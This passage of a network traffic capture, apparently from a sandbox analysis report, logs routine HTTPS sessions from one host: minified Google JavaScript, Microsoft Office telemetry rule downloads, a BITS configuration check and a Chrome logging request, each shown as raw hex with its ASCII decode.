65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010724Z-16849878b78p8hrf1se7fucxk8000000054g00000000g8p2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b35e3c1-301e-0020-730d-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010724Z-r197bdfb6b48pl4k4a912hk2g400000003gg000000004a4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49776	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 01:07:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=215244 Date: Mon, 28 Oct 2024 01:07:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-r197bdfb6b466qclztvgs64z1000000005r000000000cmks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: c3c7965e-601e-0050-4428-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-r197bdfb6b48v72xb403uy6hns00000004s000000000e6kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49785	172.217.18.14	443	6108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 01:07:25 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 30 37 37 36 34 32 38 37 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730077642875",null,null,null,
2024-10-28 01:07:25 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=SekZDqTOL7tnBHwKqRqX42glaRJhPV-Dd_5pM_KdgvknuDnosVP9Fisw4KO0Wo4sWCNMwJwQV8hJIGG9VQNKXCntML08_2hrmrIXgCCK88uQtU2XXe8z4zQP29hA_lAj-L7FtQ2jz6_s330lCl4ohBbuSqlgr20bQHHawGVuZwafWkh2lHg; expires=Tue, 29-Apr-2025 01:07:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 28 Oct 2024 01:07:25 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 28 Oct 2024 01:07:25 GMT Connection: close Transfer-Encoding: chunked
2024-10-28 01:07:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-28 01:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-r197bdfb6b4hsj5bywyqk9r2xw00000005mg00000000dp12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: b7b81bb6-b01e-0084-3bc8-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-r197bdfb6b4jlq9hb8xf0re6t400000004eg000000001a91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
